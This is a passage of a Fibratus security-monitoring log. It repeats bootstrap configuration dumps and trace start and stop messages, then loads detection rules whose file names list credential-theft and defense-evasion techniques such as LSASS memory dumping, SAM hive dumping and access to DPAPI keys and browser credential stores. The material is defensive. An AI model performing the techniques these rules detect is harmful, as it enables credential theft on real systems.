down... source=signals/signals.go:39 +time=2025-11-25T13:41:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T13:41:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:42:56+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T14:42:56+01:00 level=info msg=bootstrapping with pid 21024. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T14:42:56+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-handle=>false enable-threadpool=>false flush-interval=>1s enable-vamap=>true enable-net=>true buffer-size=>512 enable-mem=>false enable-thread=>true stack-enrichment=>true max-buffers=>36 enable-registry=>true enable-audit-api=>true min-buffers=>16 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-dns=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 log-stdout=>true max-size=>100 formatter=>text max-age=>0 level=>info] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false method=>POST enable-gzip=>false serializer=>json timeout=>5s] amqp=>[ durable=>false url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s passive=>false exchange=>fibratus routing-key=>fibratus delivery-mode=>transient vhost=>/ enabled=>false] elasticsearch=>[ bulk-workers=>1 index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s timeout=>5s healthcheck=>true enabled=>false template-name=>fibratus sniff=>false trace-log=>false healthcheck-interval=>10s gzip-compression=>false healthcheck-timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-registry=>false skip-allocs=>false enabled=>false fastscan=>true skip-mmaps=>false excluded-files=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-25T14:42:56+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:42:59+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:43:14+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T14:43:14+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:43:15+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:43:34+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T14:43:34+01:00 level=info msg=bootstrapping with pid 19724. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T14:43:34+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ enabled=>false content-type=>text/html to=>[] port=>25 use-template=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ buffer-size=>512 enable-handle=>false enable-image=>true enable-mem=>false enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true max-buffers=>36 enable-registry=>true enable-net=>true enable-fileio=>true flush-interval=>1s stack-enrichment=>true enable-thread=>true enable-threadpool=>false min-buffers=>16 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-age=>0 log-stdout=>true max-backups=>15 formatter=>text level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false enabled=>false timeout=>5s vhost=>/ delivery-mode=>transient exchange-type=>topic exchange=>fibratus durable=>false passive=>false url=>amqp://localhost:5672] http=>[ enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json] elasticsearch=>[ servers=>[http://127.0.0.1:9200] trace-log=>false template-name=>fibratus index-name=>fibratus healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s enabled=>false bulk-workers=>1 healthcheck=>true sniff=>false flush-period=>1s gzip-compression=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-procs=>[] fastscan=>true excluded-files=>[] scan-timeout=>10s skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-allocs=>false skip-mmaps=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T14:43:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T14:43:43+01:00 level=info msg=bootstrapping with pid 16320. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T14:43:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html enabled=>false to=>[] use-template=>true port=>25]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-fileio=>true buffer-size=>512 enable-registry=>true enable-net=>true enable-image=>true enable-dns=>false enable-mem=>false min-buffers=>16 enable-thread=>true stack-enrichment=>true flush-interval=>1s enable-vamap=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 enable-threadpool=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true level=>info formatter=>text] + output ......................... [ amqp=>[ exchange-type=>topic vhost=>/ tls-insecure-skip-verify=>false durable=>false enabled=>false timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient exchange=>fibratus passive=>false] elasticsearch=>[ healthcheck-interval=>10s trace-log=>false timeout=>5s gzip-compression=>false enabled=>false flush-period=>1s index-name=>fibratus bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false healthcheck=>true] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] http=>[ enabled=>false timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST endpoints=>[]]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-symbols=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false excluded-files=>[] skip-registry=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true scan-timeout=>10s skip-allocs=>false skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T14:43:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:43:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:44:02+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T14:44:02+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:44:02+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:46:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T14:46:15+01:00 level=info msg=bootstrapping with pid 16244. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T14:46:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ port=>25 enabled=>false use-template=>true content-type=>text/html to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-images=>false serialize-handles=>false] + eventsource .................... [ enable-dns=>false stack-enrichment=>true enable-handle=>false min-buffers=>16 enable-threadpool=>false max-buffers=>36 flush-interval=>1s buffer-size=>512 enable-net=>true enable-vamap=>true enable-fileio=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-mem=>false enable-registry=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 level=>info log-stdout=>true max-size=>100 formatter=>text max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ exchange-type=>topic durable=>false routing-key=>fibratus timeout=>5s exchange=>fibratus passive=>false enabled=>false vhost=>/ tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient] http=>[ enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false enabled=>false method=>POST serializer=>json timeout=>5s] elasticsearch=>[ trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s sniff=>false index-name=>fibratus healthcheck-interval=>10s gzip-compression=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false healthcheck=>true timeout=>5s] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true skip-registry=>false excluded-files=>[] skip-mmaps=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T14:46:27+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T14:46:27+01:00 level=info msg=bootstrapping with pid 14260. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T14:46:27+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false use-template=>true content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ max-buffers=>36 min-buffers=>16 enable-registry=>true enable-vamap=>true enable-net=>true enable-audit-api=>true buffer-size=>512 enable-dns=>false enable-handle=>false enable-threadpool=>false enable-thread=>true flush-interval=>1s enable-mem=>false stack-enrichment=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info max-backups=>15 max-age=>0 max-size=>100 formatter=>text] + output ......................... [ http=>[ enabled=>false serializer=>json method=>POST tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s endpoints=>[]] amqp=>[ tls-insecure-skip-verify=>false timeout=>5s routing-key=>fibratus exchange=>fibratus enabled=>false delivery-mode=>transient exchange-type=>topic passive=>false url=>amqp://localhost:5672 durable=>false vhost=>/] elasticsearch=>[ gzip-compression=>false trace-log=>false bulk-workers=>1 template-name=>fibratus enabled=>false healthcheck-timeout=>5s timeout=>5s sniff=>false flush-period=>1s servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-interval=>10s index-name=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-registry=>false skip-mmaps=>false skip-files=>false scan-timeout=>10s excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true skip-allocs=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T14:46:27+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:46:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:46:46+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T14:46:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:46:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:48:43+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T14:48:43+01:00 level=info msg=bootstrapping with pid 3972. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T14:48:43+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ content-type=>text/html enabled=>false port=>25 to=>[] use-template=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-mem=>false enable-handle=>false enable-dns=>false enable-registry=>true flush-interval=>1s enable-vamap=>true enable-audit-api=>true min-buffers=>16 enable-threadpool=>false max-buffers=>36 enable-thread=>true buffer-size=>512 stack-enrichment=>true enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text max-backups=>15 max-age=>0 level=>info max-size=>100] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s flush-period=>1s healthcheck-timeout=>5s gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck=>true template-name=>fibratus bulk-workers=>1 enabled=>false sniff=>false timeout=>5s index-name=>fibratus trace-log=>false] http=>[ endpoints=>[] timeout=>5s enabled=>false tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST] amqp=>[ enabled=>false delivery-mode=>transient exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus exchange=>fibratus passive=>false durable=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-files=>false enabled=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] skip-registry=>false scan-timeout=>10s skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-25T14:48:43+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:48:46+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T14:49:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T14:49:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T14:49:21+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:14:22+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-25T15:14:22+01:00 level=info msg=bootstrapping with pid 3760. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-25T15:14:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ port=>25 enabled=>false content-type=>text/html use-template=>true to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false max-buffers=>36 enable-threadpool=>false flush-interval=>1s enable-vamap=>true enable-audit-api=>true enable-fileio=>true enable-thread=>true enable-registry=>true enable-mem=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true enable-handle=>false enable-net=>true min-buffers=>16 enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 max-backups=>15 log-stdout=>true level=>info] + output ......................... [ amqp=>[ enabled=>false exchange=>fibratus timeout=>5s passive=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange-type=>topic durable=>false delivery-mode=>transient routing-key=>fibratus vhost=>/] elasticsearch=>[ timeout=>5s template-name=>fibratus healthcheck-interval=>10s flush-period=>1s trace-log=>false enabled=>false gzip-compression=>false bulk-workers=>1 sniff=>false healthcheck=>true healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] index-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] http=>[ tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s serializer=>json enabled=>false method=>POST endpoints=>[]] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] skip-allocs=>false skip-registry=>false enabled=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-mmaps=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-25T15:14:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:14:25+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-25T15:16:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-25T15:16:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:16:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-25T15:17:18+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-25T15:17:18+01:00 level=info msg=loading rule from 